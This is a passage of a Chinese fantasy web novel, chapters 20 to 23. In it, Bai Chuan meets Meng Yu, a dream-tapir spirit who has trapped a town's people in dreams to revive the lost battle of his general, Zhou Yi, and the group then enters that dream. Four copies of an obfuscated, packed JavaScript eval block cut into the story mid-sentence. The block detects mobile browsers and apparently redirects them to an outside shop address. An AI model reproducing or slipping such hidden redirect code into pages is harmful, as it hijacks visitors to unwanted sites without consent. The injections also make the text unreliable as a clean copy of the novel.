;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300260|152211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里还有洞穴和那个奇怪的家伙,他分明已经到了无相山山顶的平台。 “你居然醒了?”白川忽然听到有人这样问。 他顺着声音看去,只见十几米外一处小亭子里,有一个穿着青绿色长衫的年轻人正端坐其中,年轻人戴着圆框的眼镜,文质彬彬,活像个旧时代的说书先生,正歪着头笑盈盈地看向自己。 周围的狂风暴雨还在肆虐,但这亭子明明只有小小的一方,却任凭风雨斜吹,也没沾湿一点儿地面。 那么显然,亭子正中的年轻人应该就是这场幻境的始作俑者。 一个莫名其妙开始又结束的幻境,和一个在山顶端坐等着的灵物,白川觉得这场任务整体透露出一种荒诞主义的色彩。 但他倒是没犹豫,径直朝亭子走去,然后在灵物面前的蒲团上毫不客气地坐下,直白问道:“他们人呢?” 那个灵物似乎并不介意他的态度,甚至就着手,给白川倒了一杯茶。 茶水冒着热气,在这风雨交加的冰冷天气里闻起来尤其香,但白川并没接过那杯茶,他又问了一遍:“他们人呢?” “还在梦里,不愿意醒来呢,”灵物把杯子朝白川的方向推了推,又抬头对他笑了笑,“我也挺好奇的,你不是应该在一场美梦里么,怎么醒得这么快?” 美梦? 白川心中浮现出那幽深的关押了数不清灵物的牢笼,虽然那些灵物并不恐怖,但这种场景显然和美梦毫无关系。 但他没有开口询问,只是沉默着,等面前的灵物再继续解释。 “我给你们每个人编织了一场顶好的美梦,你们会看到想见的人,或者做成想见的事儿。”灵物的神色坦荡,似乎不觉得他这种把人强行拖进幻境的举动有什么不好,“大多数人不会意识到这是梦境,有的人意识到了,却也不舍得从梦境中脱身。你很特别。” “特别?”白川随口问道。 “你是第一个从我的梦境幻境中主动脱身的人。” 白川还是觉得奇怪——方才也并不是他主观意识想离开幻境,而是被幻境强行抽离,这会儿忽然又成了自己主动脱身。 他觉得眼前这个小灵物肯定是学艺不精,搞错了咒术什么的。 但他显然也没有教导灵物提升技艺的打算,于是他只是继续问道:“你为什么这么做?” “茶凉了就不好喝了,”灵物还是笑盈盈的。 白川在他的目光注视下喝掉了那杯热茶,是很香醇的白茶,喝起来没什么特别的,那只灵物应该并没有在茶里动什么手脚。 灵物这才慢悠悠地回答起他的问题:“我这样做,是为了帮人们实现他们的梦想啊。” 20. 周屹 帮人们实现他们的梦想? 又是没头没尾的一句话,却忽然让白川想起了些什么,他很直白地问:“你是梦貘?” 加入山海联盟之后,白川读过不少关于灵物的书,他记得看过这样的记载:“梦貘,食梦者,好美梦。” 梦貘把人们实现好梦时的喜悦当作食物,也依靠这种喜悦情绪来精进自己的灵力。 因而,在传统的认知里,梦貘是那种对人类很友好的灵物——一般情况下只做无害的围观者,偶然情况下甚至会帮助人们实现梦想。 灵物笑了笑,默认了自己梦貘的身份。 “你对忠骨镇的人们做了什么?”白川依旧直白。 “我给他们编织了很好很好的美梦,他们大部分的意识都沉睡在梦里,在梦里他们能做所有想做的事儿,他们无所不能。” 灵物的眼睛眨了眨,浅色的瞳孔亮晶晶的,又继续说道:“而且我是有名字的,别叫我梦貘了,怪见外的,你可以直接叫我孟屿,岛屿的屿。” 白川对他本名叫什么没什么兴趣,但他着实很好奇孟屿这一系列行为的逻辑:“你为什么要这么做?按照我们系统的记载,你已经一千多年没出现过了,你为什么忽然重现人世,又为什么要把这么多人困在梦里?” 山风吹动白川的发梢,也吹动孟屿浅绿色的长衫。 白川直视着孟屿的眼睛,继续追问道:“搞这么大排场,你需要这么多食物么?” 孟屿笑了,长衫跟着山顶的微风一起轻轻晃动,显得他的身子愈发单薄。 “需要。”他说。 白川似乎还要问问题,但还没等开口就被孟屿打断了:“白先生,别急,你问的这些东西,我本来就是打算讲给你听的。” 孟屿轻轻地打了个响指,亭子外面的风雨声小了些。 斜风细雨之间,这一方小亭依旧干干爽爽,孟屿又给白川倒了杯茶,慢悠悠地讲起了故事—— 那是一千两百年的事儿了。 那时候的年号,还叫永安。 那会儿我还没有名字,大家都只叫我梦貘。 大多数灵物来自于天地山川草木,而我起源于人们的梦境,所以我比人类还要更晚出现在世上,我的年纪比很多灵物都小,大家都把我当小孩子。 但我觉得我不是小孩子了,我不想永远待在在灵物长辈们的关怀照拂下。 于是我偷偷离开我们在荒野搭建的住处,跑到了人类群居的地方。 那时候,我们管这种地方叫“人间”。 人间真好啊。 有甜甜的冰糖葫芦,还有热腾腾的肉包子。 我以梦境为食,这些东西并不能填饱我的肚子,但我还是很喜欢它们,连带着,我也很喜欢人间。 我在人间看到了各种各样的梦想,或者说心愿。 坐在秋千上的小姑娘在等情郎考中功名,返回故乡。 包子铺的老板娘希望早早把一天的包子卖光,让她有空去街角买一盒颜色好看的胭脂。 摸人荷包的小偷许愿金盆洗手的最后一单不要被人抓到…… 那些心愿关于爱情,关于财富,关于健康,关于权利……我起初看什么都觉得新鲜,过了这段时间后,又觉得全天下人的心愿都差不太多,没什么特别的—— 直到,我闲来无事,逛到了一处宅院里,遇见了一个舞剑的少年人。 那是个下午,阳光刺眼,少年黑衣黑发,在竹影里很认真地练剑。 他舞得很好看,我躲在一旁看了很久。 然后我闭上眼去听他的梦想——我听见他稚嫩的声音在一声声念诵——愿肃清天下,海晏河清。 我从来没听过这样的梦想。 我甚至曾经偷偷溜到过大梁皇帝的书房,我本以为在那里,我会听到关乎黎民百姓、社稷江山的一场大梦。 但在皇帝的书房里,在金兽香炉的袅袅烟雾中,我听到的都是些长命无虞,平安喜乐,儿女情长的祝祷。 君临天下的人不在意这个天下,而天下的命运,却在这个少年人的祈愿之中。 我觉得他很有意思。 我看得入神,一不小心,被竹丛中一只不长眼的小青蛇咬了一口。 青蛇没毒,但我一时疼痛,还是没忍住发出了声音。 他听到了声音,看到了我,以为我是他父亲给他新请来的伴读,紧张得很,忙去找人帮忙给我包扎上药。 我本来可以趁这个机会偷偷溜走,但鬼使神差地,我竟然在原地一直等到他叫来了郎中,甚至伪装了身份,在后面的一些年里一直当他的伴读。 我后来知道,他叫周屹,是大梁最厉害的武官世家唯一的孩子。 孟屿的名字也是他起给我的,和他的“屹”字共用一个山字旁,他说看我幼时动荡,希望我今后的生活安稳如山,至于右边的“与”字,他说之后有很长很长的路,他希望与我一道,并辔而行。 后来的十几年里,我一直待在他身边,从他的陪读,变成他帐中的谋士,最后在他披挂将印的时候,成了他的军师。 “周屹,”白川默念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300261|152211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下这个名字,“我听过他。” 孟屿轻笑:“你当然听到过,正史野史都写过不少他的故事,少年将军,骁勇善战,平乱救民,一生中同起源于南蛮之地的辰国军队正面交锋二十四次,其中胜仗……” 孟屿的话越说声音越小,到了后面,声音细弱得白川几乎听不太清,但白川补全了后面的几个字:“一生胜仗二十三。” 孟屿说得不假,周屹将军的故事确实广为流传,白川不算很了解历史,但多多少少也有所耳闻——周屹于大梁国运衰微之时肩负起平定疆土的重担,多次将辰国逼至若水之南,直到——无相山一战。 就是白川他们现在正踩在脚下的这座无相山。 再后来发生了什么,就也不用孟屿细说,战无不胜的将军一朝战败,身殒国破,这放在话本小说里,也是最寻常的编排,并不难想象。 白川抬眼去看孟屿,只见孟屿端起杯盏,慢慢地把已经凉透了的茶一口口饮下。 方才白川还觉得孟屿是个不谙世事的小灵物,这会儿听完了这些,竟莫名觉得他那总是笑吟吟的目光里面透着一种说不清道不明的悲凉。 白川也喝掉了自己杯子里的茶,轻声问道:“这些都是一千多年前的事儿了,和你现在做的事情有什么关系么?” 孟屿忽然站起身来,踱步到亭子外面,风雨交叠,却无一沾湿他的衣袍和长发。 他站在无相山顶,俯瞰着下面的镇子和村落,俯瞰着纵横交错的街道,缥缈的炊烟和暖黄的灯火。 良久,他幽幽地开口:“你知道么?无相山脚,忠骨镇里,成千上万的人,他们中的绝大多数,都曾是那场决战中死去的亡魂。” 白川皱起了眉头。 他们山海联盟只是处理些灵物和异能相关的事情,对于魂魄转世这种更加超现实的东西倒是确实不曾涉猎。 孟屿似乎看出了他的困惑,进一步解释道:“按理说就算将士们惨死,怨气深重,也不至于转世投胎都还围绕着这一块儿地方,但是无相山的忠魂们不同……他们是周屹麾下的将士,活着的时候誓死效忠,战死之后也愿跟随周屹马后。” “追随一个亡魂么?”白川一头雾水,“周将军也是会转世投胎的啊,难道他就也一直在无相山附近么?” “这就是问题所在了,”孟屿转过身,和白川目光交错,轻声道,“那些将士们都留在无相山追随周屹,是因为周屹有一缕魂魄,自始至终,未入轮回。” “就游荡在这无相山?” “就游荡在这无相山。” 21. 梦境 “他有一缕魂魄未入轮回,经年累月地游荡在这无相山。” 说这话的时候,孟屿的眼神像是也跟着这缕幽魂,在山野间游荡。 “你是最近才发现的么?”白川问。 孟屿点头,目光中流露出不加掩饰的遗憾或者悔恨:“无相山一战之后,我睡了很多年,也是最近才醒来。” 听孟屿说了这么多话,白川大致猜出了孟屿的动机—— 将军不完整的魂魄入了轮回,总归会有些心智或者其他层面的缺失,孟屿和将军感情深厚,自然希望引渡将军这缕幽魂重入轮回。 但这和他把忠骨镇千千万万的人困在梦里又有什么联系呢? 还没等白川问出这句话,孟屿已经主动坦白:“我想让他那一缕魂魄重入轮回,所以我需要一场盛大的梦境。” “一场盛大的梦境?” 雨声中有人发问,这声音却并非来自白川,或者孟屿。 这声音仿佛离他们很远,听起来却还算清晰。 白川顺着声音看去,只见层层雨幕后,一个身影缓缓走过来,身量挺拔匀称,步履从容。 白川只远远一眼,就认了出来——是祁望。 不知为什么,远远地看见他的身影,竟然让白川本来还略显紧绷的神经一下子松弛了些。 祁望没穿雨衣也没撑伞,浑身的衣服都湿透了,紧紧贴在身体上,头发也湿着,凌乱地打着绺儿——纵然如此,都没让人觉察出哪怕分毫的狼狈——就好像他是来参加一场精心打扮的湿身派对。 但白川还是抬手捏了个诀,帮祁望把他身上的水汽蒸腾掉。 在这几分钟里,孟屿简短地介绍了一下自己,也跟祁望补全了他前面没听到的内容。 祁望随手抓了抓刚“烘干”的头发,继续问了刚才的问题:“还是想问一下,孟先生你说的盛大梦境,指的是什么?” “我想将军的魂魄仍在游荡,一定是人间有他无法放下的东西,比如他那河清海晏,天下肃清的心愿,至死也未能达成。” 白川了然:“但那都是上千年前的事儿了,你无法改变史实,所以想给那缕幽魂编织一场大梦,让将军在梦中看到心愿达成?” 孟屿沉默地点了点头。 祁望还是皱眉:“那和忠骨镇的这些人们又有什么关系呢?” “你们知道的,我是梦貘。”孟屿忽然没头没尾地说了这么一句,然后紧跟着慢悠悠地解释道,“搭建梦境对我而言,其实并不难,我绘制过数不清的梦境,无数人在我的梦境里实现心愿,流连忘返,乐不思蜀。我对这一技法驾轻就熟” 他顿了顿,又给自己和白川他们倒了茶:“但这次我很紧张。因为这是将军的梦境,我从来没有给将军编织过梦境,这是第一次,大概也是最后一次。” “所以我要它恢宏,要它真实得连风吹动的时候,树枝的弧度都恰到好处,南蛮之地带着瘴气的热风充斥着整个梦境,每一声马嘶,马蹄踏开的每一颗尘土——我想为他尽可能还原当年那一战的一切,除了最后的结果——我想让他重新站在当年的疆场上,打赢他一生中的第二十四场胜仗。” 白川注意到孟屿说这些的时候,眼底有难以抑制的光芒,像是小孩子在讲他崇高远大的理想。 孟屿还在继续讲:“但我睡了太久了,一千年来没有实现过别人的心愿,灵力衰微得很,我想构建那样的梦境,就要快速提升灵力。” “所以你让整个忠骨镇陷入荒诞盛大的梦境,以这种方式来实现人们的梦想,并从中汲取心愿得偿的喜悦,作为滋养灵力的食物。”祁望轻声道。 “没错。”孟屿说,“我需要实现很多很多人的梦想,最便捷的方式,就是让他们在梦里得到他们想要的东西,而我得到他们的喜悦,我们各取所需。所以我从忠骨镇一个小小的村落开始,一步步地,将这场被梦境左右的计划蔓延下去。” 白川忽然想到忠骨镇那些被困囿在梦境中的普通人。 他想到沈一禾的姐姐沈一诺,也许她已经在梦里成为了备受瞩目的文坛新秀,站在现实中一辈子都难以触及的高度。 这听起来确实是美妙的,但美梦破碎之后呢? 摆在她面前的大概只有断掉的思路,因为断更而被diss的作品,美梦不再的空虚,还有对自己的怀疑。 白川又抬眼看了看孟屿,这个小灵物似乎还沉浸在自己完美梦境的计划中,完全没意识到这样的操作会有怎样的不妥。 白川劝说的话已经到了嘴边,却又堪堪收住了——他知道这个偏执幼稚的灵物做了错误的决定,却在听了故事之后,出于共情或者私心之类的东西,把责备的话吞了进去。 他只是问:“那他们什么时候可以恢复正常?” “很快了!就在这几天!”孟屿的语调都欢快了起来,“我已经差不多实现了足够多的心愿,攒了不少灵力,足够让我搭建起一场盛大完美的梦境,足够将军在我为他搭建的世界里,战无不胜,所向披靡。等那场大梦收束,将军的魂魄重入轮回,所有的一切都会恢复正常。” 白川隐隐觉得有点儿头疼——这一场幻境结束后,留给山海联盟的烂摊子要花不少人力来摆平。 想到这里,他又问:“你为什么给我们讲这些?” 看孟屿这个架势,白川当然不会相信这只是一个灵物突如其来的倾诉欲。 孟屿倒是保持了一贯的坦诚:“因为我需要你们的帮助。” 白川皱起了眉头:“需要帮助?我们能帮你什么?” “我想要你们和我一起进入到这场梦里。” 孟屿目光诚挚恳切:“这场梦花了我太多的灵力和心血支撑,仅此一次,无法重来。虽说是幻境,但其中杀伐不歇,刀光剑影都是真切的,我担心……我担心万一有什么意料不到的情况,我无力处理……我知道你们异能者应对各种突发状况和危急时刻都十分得心应手,所以我其实在等你们来。” 见白川和祁望都没应声,孟屿的语气更真诚了些: “几千年来我一直在为别人的心愿奔走,没做过什么坏事儿,我也知道这次我在忠骨镇做的事儿是不对的,等我把这场梦境处理干净,我会主动去山海联盟领罚,需要我为你们义务做些什么也好,需要禁足我再不能入世也好,需要我自裁谢罪也行,随你们处置。” 白川这人吃软不吃硬,每每有人说出什么恳求的话,他就很难说得出拒绝——祁望那种离谱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14300262|152211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人说出的离谱言论除外。 眼下看着孟屿期待的眼神,白川终于还是点了点头。 风雨声似乎都平静了下来,白川抬眼,看到远处山头,天光倾泻。 幻境总是受到施术人的情绪影响,孟屿果然还是个心智像小孩子的灵物,胸中喜忧交替,映射到幻境中,就忽晴忽雨。 跟在孟屿身边往外走的时候,沉默了好一会儿的祁望好像忽然想到些什么,问了一句:“你好像很有把握我们会答应你?” 孟屿抬手碰了碰鼻子:“算了,也不瞒你们说,其实我本来是打算用些手段逼你们帮我的。” “什么手段?” 孟屿好像有点儿不好意思,声音也弱了下来:“就是你们喝的茶……我是计划在里面动点手脚的。” “但你没有。” “但我没有。” “为什么?”祁望追问。 孟屿的余光轻轻瞟了眼白川:“我也不知道,但我看到白先生的第一眼,就知道白先生一定会帮我这个忙。” 顿了顿,他又补充道:“说来也奇怪,这种感觉就好像我们曾经就见过,就好像我曾经总向你寻求帮助,而你每一次都会答应一样。” 说着,他摇了摇头:“不过应该都是我的幻觉,毕竟我睡了上千年了,没见过什么人,总不能是在睡梦中见过你……” 白川忽然想到上次阿蛮也说自己看起来很像什么故人,也不知道是不是之前真有一个家伙和自己长着类似的脸,又成天混迹于灵物之中。 他本想追问些什么,却被身后的喊声岔开了。 “川哥!川哥!等等我!”这声音过分熟悉了,都不用看,就知道是游雾。 白川回过头,只见游雾和沈一禾正快步朝自己走来,游雾的目光正好奇地打量着站在白川身边的孟屿,而沈一禾则警惕地四下张望。 “他们也从你的幻境中脱身了是吧?看来你的幻境确实不是很牢靠。”祁望在一旁开起孟屿的玩笑。 孟屿摇头:“怎么可能?是我主动把他们抽离出来的!我的幻境没有问题,按理说普通人和异能者都很难脱离才是,你们能自己脱身也很让我意外。” 白川给满脸困惑的两人简单讲述了一下眼前的情况,而后几人按着孟屿的指引,在半山腰长着海棠花树的地方等待孟屿。 海棠花开得正好,却被接连的风雨敲打得衰弱,绯红淡粉的花瓣落了满地,远远看去,像是掺了雨水的鲜血在地面上流淌着。 等待孟屿的空档里,祁望似乎想到了些什么,他悄无声息地轻踏着花瓣,走到白川身边:“不知道可不可以问,但我真的很好奇,白先生,刚刚在梦貘编织的美梦里,你看到了什么?” 白川抬眼,目光刚好和祁望对上,于是他下意识地移开了目光,含糊地回答道:“没什么,不是什么好梦。” 似乎是觉得自己说的话有点儿过于冷冰冰,他稍微找补了一句:“你呢?你看到了什么?” “我倒是真的做了一场顶好的美梦,”祁望的眼底又浮现出那轻佻的笑意,看着白川有几分好奇的眼神,祁望凑近了他的耳朵,用轻柔的气声说道,“川哥,我梦见你了,你说,算不算得上一场顶好的美梦?” 22. 占卜 白川:“……” 他就不该多嘴问这么一句。 也不知道祁望这家伙胡言乱语的功夫到底是跟谁学的,怎么这么纯熟。 他懒得理祁望,转身走开,没再说话。 祁望也没跟上来,只是随意地低着头,目光不聚焦地游荡着,最后长久地落在了白川的影子上。 “久等了!”远处有声音传来,是姗姗来迟的孟屿。 孟屿已经换了身装束,文弱书生的身子披挂起深色的战袍,却显得他更单薄了些。 他注意到几人打量的目光,羞涩地笑了笑:“我之前跟着将军在军营里晃悠来着,就总是这副打扮。” 说着,他下意识地把袖口又收紧了些:“不是很适合我,对吧?” “很英气。”白川说。 孟屿推了推架在鼻梁上的金丝眼镜:“时候也差不多快到了,各位准备好了么?我们就要入局了。” 白川这段时间没少入局,但还是第一次,在入局之前听到灵物的亲口提醒。 在白川胡思乱想的同时,周遭的风声,雨声,鸟鸣声全都戛然而止,世界仿佛陷入了彻彻底底的黑。 呼吸声在极度安静的环境里清晰可闻。 忽然,他听到了很遥远的地方传来的声音—— 很嘈杂。 说话声、脚步声、车马声混杂在一起,很难分辨真切。 紧接着,混沌中忽然有突兀的马蹄声响起。 声音越来越大,马蹄声也越来越急切。 “吁——” 马蹄在沙地上刹停下来。 然后白川听见一个气喘吁吁却雄浑有力的声音喊到:“将军,将军!前线来报!” 黑暗终于散开,白川用力眨了几次眼睛,终于看清了周遭的情况。 这应该是军队驻扎的大后方,周围密实地排列着一些营帐。 营帐都搭得很草率,看来扎营在此只是很暂时的安排。 祁望他们三人就在自己身旁,相隔不过几米,这会儿都围了过来。 孟屿离他们远一些,身旁站着一个人,那人披挂着冷银的铠甲,气宇轩昂。 那人转身的瞬间,只一眼,白川就看清了他的脸——那是张很熟悉的脸,他在沈一诺和民宿前台那里都见过这张脸。 无相山下,忠骨镇中,所有陷入幻境中的普通人,如今在共用的,都是这张脸——周屹的脸 在那些路人身上看到这张脸,好看是好看的,但多少有几分突兀,这会儿看到这个将军,闪着银光的铠甲配上这张颇有英气的脸,倒是相得益彰。 将军从刚快马加鞭赶来的传令兵手中接过一握小小的卷轴,没有展开,直接递给了身侧的孟屿。 孟屿扫了一眼,然后温温柔柔地开口:“将军,辰国连败,已退至若水。” 白川的视角看不清孟屿的神情,但也听得出他言语里不加遮掩的欣赏和喜悦。 “我说过的,将军战无不胜,所向披靡。”孟屿笃定道。 “军师料事如神,”周屹抬手,按了按孟屿的肩膀。 两个人的情绪表达都很含蓄,却能让人轻而易举地感受到他们俩之间默契十足,相互肯定又相互吸引的磁场。 孟屿抬头,朝白川笑了笑,然后跟周将军介绍道:“将军还记不记得我说过,你第一次帅兵出征的时候,我自己在瀛洲游历,遇到了一些志趣相投的朋友?” 周屹点点头:“记得,你说过。” 孟屿指了指白川他们四人:“这几位就都是我那时候的朋友,个个都是奇才,也都是追寻明主的好谋士,愿拜入将军麾下,为将军效力。” 说着,他引白川他们过来,给周屹逐一介绍了一遍。 周将军似乎很听孟屿的话,连几人的来历都没打听,只热络地闲谈了几句,就毫不见外地引着几人走进了自己的营帐。 纵然是将军的营帐,也还是简陋的。 一方矮几,一张小榻,一桌沙盘,一丛炭火,就是这营帐里仅有的陈设。 白川抬眼去看,沙盘上高低起伏,沟壑纵横,用不同颜色的旗子分成了两个阵营。 其中黑色的旗子式微,腹背受敌,而代表将军大梁阵营的红旗欣欣向荣,势不可挡。 孟屿踱步到沙盘旁,将若水边的一面黑色旗子摘下,换上了红色的。 将军凝视沙盘良久,然后手指轻点了沙盘上的一处,缓缓道:“等最后一场仗打完了,这一切也就要结束了吧?” 白川也凑近了些,看清了将军指着的方位——“无相山”三字工工整整地刻在沙盘上。 “没错,”孟屿的语气依旧笃定,“只要无相山一战获胜,辰国的兵力必将大损,数十载内再难和大梁匹敌。” 看着将军充满期待的神情,孟屿拱手:“提前祝贺将军夙愿得偿。” 白川听着孟屿用这么愉悦这么坚定那么自然的口吻,陈诉着明知虚假的结果,第一反应竟然不是荒诞,而是悲凉—— 他不禁去想,在孟屿躲在荒野里不再入世的那一千多年里,他会不会也做着一场又一场这样的梦。 梦里将军获得一场又一场的胜利,醒来见不到梦里的人。 门外有将士求见,将军和几人作别,而后快步走了出去。 白川忽然问:“无相山那场大战,是什么时候?” “三天后。”孟屿和祁望异口同声道。 几人向祁望投来困惑的目光,祁望神采飞扬地笑笑,小声对白川说:“不好意思,但我对历史确实有点儿研究的。” 白川对祁望这种找到机会就自夸两句的行为见怪不怪,不再理会这只仿佛在开屏的花孔雀。 一旁一直没怎么说话的游雾却忽然扭头问孟屿:“孟先生还记不记得,当年那场对战,我们输在什么地方?” 孟屿的眼神中流露出几分困惑和无奈:“也不瞒各位了,这也是我一直不解的地方。” 说着,他从怀里摸出来几枚古旧的铜钱,在掌心一字排开:“我不知道你们的志怪故事里有没有记载过,我们梦貘除了操纵梦境的能力之外,还有点儿占卜的天赋。” 白川点了点头,他记得书上说,占卜算是梦貘的天赋技能,能够帮助梦貘筛选出哪些愿望是会实现的,哪些愿望不会,四舍五入是个用来定位食物的好手段。 “人间也有不少术士占星或者算卦,但毫不夸张地说,梦貘一族就是所有能窥探天意的人里面,最为灵验的。”孟屿说得非常笃定,看来对自己的卜卦能力颇有信心,“一千年前,在无相山一战打响之前,我也曾经为将军占卜过吉凶。” “结果并不好么?”游雾问。 孟屿摇了摇头:“恰恰相反,卦象大吉。” 他顿了顿,继续说道:“所以我从一开始就相信,无相山一战,我们必然获胜,而将军也定然会凯旋。” 说着说着,他的语气终究还是黯淡了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14300263|152211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来:“我占卜过没有几千次,也有上百次,从来没出过错,除了这一次……” 他还没来得及说更多,门口就有将士把他喊了出去。 在他的身后,几人的目光纷纷望向他的背影。 最先移回目光的是祁望,他凑到白川身边,手指轻轻地点上沙盘上插在无相山上的那面旗子,语气随意地问:“你们觉得他说的话,有几成可信?” 一旁的沈一禾神色跃跃欲试,仿佛祁望说到了他的心坎儿里:“对对对,川哥,游队,他毕竟是个灵物,咱们真的要相信他吗?这会不会只是他们诱敌的圈套?” 白川却摇了摇头:“不像。” “有什么理由么?”沈一禾追问道。 “第六感。”白川他确确实实罗列不出什么逻辑或者道理,但他一向很相信自己对人的第一印象,“我看人或者看灵物一般都挺准的,除了……” 没过脑子的话到了嘴边,硬生生被他吞了回去,却架不住祁望刨根问底:“除了什么?” 白川颇带个人情绪地白了他一眼:“除了你。” “我怎么?”祁望似乎更有兴致了些,一定要打破砂锅问到底。 白川觉得自己今天要是不把这话说出来,怕是会被这家伙烦死,于是干脆开口:“第一眼在火场里看到你,以为你是个傻子。” “然后接触下来发现我是个聪明人对吧?”祁望的语气里透露着几分洋洋自得。 “然后接触下来发现你其实是个疯子。” 这确实是他的感受。 他觉得祁望这家伙看起来温和有礼,但总是兵行险着,出其不意,总给人一种精神状态不太稳定的感觉。 再加上这家伙总是有意无意地撩拨自己几句,那么极有可能还是个gay,还是个过分随意的gay—— 挺疯的。 白川想。 祁望却好像完全没觉得这是在骂自己,反而更加得意起来:“大道至简,慧极近痴,这是傻,特立独行,众人皆醉而我独醒,这是疯,看来白先生对我的评价着实不错。” 连一旁的游雾和沈一禾都看不下去了,连忙帮忙把话题转移开:“那川哥,难道孟屿的占卜结果真的出了问题吗?” 这回白川和祁望一同摇头。 白川见状,示意祁望先开口。 祁望也不推辞,慢悠悠地说道:“这么多年来,咱们山海联盟一直在研究灵物的异能,虽然目前还不知道他们的异能到底是从哪儿来的,但诸多研究也已经表明了,灵物的异能属性都是天赋性质的,且是稳定的,那么如果孟屿占卜出来的是吉,结果就应该是吉。” “也就是说灵物的异能几乎不会出错。”沈一禾小声道。 “没有,”祁望点头,“这东西可能很难用科学解释,也许更贴近宗教和神学一类的东西。” 白川也点了点头,他不得不承认,这个疯子确确实实在很多事情上和自己的观点态度出奇一致。 沈一禾听得越来越困惑,他揪着自己亮绿色的刘海儿,皱着眉头问道:“也就是说当年无相山一战本来应该是获胜的?那为什么……后来反而打了败仗呢?” 白川下意识地和祁望对视了一眼,眼神交换中,他确信自己的想法又一次和这个家伙的碰撞到了一起。 这种碰撞让他更加坚定自己的看法,于是他开口,笃定地说出自己的推断:“在当年那一战中,除了孟屿,还有别的灵物在。” 23. 守则 “你是觉得有别的灵物从中作梗,导致了大梁军队的失败?” “没错。”白川点头。 占卜这种东西是用来窥探天命的,孟屿的占卜结果没道理出错,而结果却发生了变化,说明原本确定的天命在这短短几天之间发生了移转。 那么很有可能是本不应该出现在这条因果线里的家伙横插了一脚。 普通人当然做不到这些,那么掺和进来的家伙只能是灵物或者异能者。 根据记载,一千多年前,世上还没有什么聚集异能者的组织,当时的异能者数量极少,且较为分散,他们的异能峰值也远不如如今的异能者们,在市井街头变个戏法骗一骗普通人或许还能做到,但显然无力影响或者改变眼下这种王朝更替的大事儿。 按照这样的逻辑,能够从中作梗的,显然只能是灵物。 那么,到底是什么灵物掺和了这件事,他这么做又是为了些什么呢? 眼前的境况就像是置身于一团白茫茫的雾气之中,几人努力地探寻,却也只在雾气中拨开了一条窄窄的路,路的两侧是迷雾,路的尽头更是一片漆黑。 他们知道的东西太少了,无法描绘出连贯的情节来。 忽而,一阵急促的脚步声打断了他们的思路,一个年轻的圆圆脸传令兵掀开门帐,走了进来,恭敬道:“几位是军师的朋友吧?军师正在南边演武场操练军事,想请几位过去相助。” 这一邀请正合几人之意,于是他们跟在传令兵身后,向演武场走去。 这个季节的南疆潮湿闷热,汗水都好像闷在皮肤里,流淌不出来。 白川的目光落在周围的将士们身上,想到这些千年前的将士,为了守卫自己的王朝,背井离乡来到这里,随时准备好把一腔热血洒溅战场,而正史野史来来回回,永远不会记下这些名字。 他曾经觉得忠骨镇不能改名字这种事是无稽之谈,但看到眼下这些,却忽然理解了——埋葬在这片土地上的亡魂或许不需要被褒奖,但确确实实理应被铭记。 胡思乱想之间,几人已经走到了演武场。 这演武场显然也是刚刚搭建出来的,简陋得很,周将军和孟屿站在一侧的高台上,正看向一旁手持弓弩的将士们。 将士们身着轻甲,手里挽着弓,弓弦上搭着泛着寒光的羽箭。 站在最前面的将士用力拉满了弓,对准了二十步开外的稻草人,忽然松手,羽箭刺破空气,发出刺耳的哨音。 箭头稳准地扎在稻草人的胸膛上,并不算出人意料。 白川正要移开目光,忽然,看到一股黑烟从稻草人的胸口升腾出来,紧接着,火苗冒出头来,仅仅十几秒钟,就呈现蔓延之势,将整个稻草人淹入火海。 白川的目光穿过升腾而起的火焰,看到了周将军和孟屿脸上欣慰的笑容。 “这是无相山一战的计划么?”白川等人走近,轻声问道。 孟屿点头,并不遮掩:“按照目前两军的地势,无相山一战我们会占据地理上的优势,到时候我们会让三成的将士把常规的弩箭换成眼前这种火弩,弩箭的箭头上提前包裹好了易燃的松脂和用于引燃的药粉,高速摩擦和撞击会引燃箭头上的松脂,进而点燃被射中的东西。” “这么古早的时候,打仗就已经善用强氧化还原反应了啊。”一旁的沈一禾不禁赞叹道。 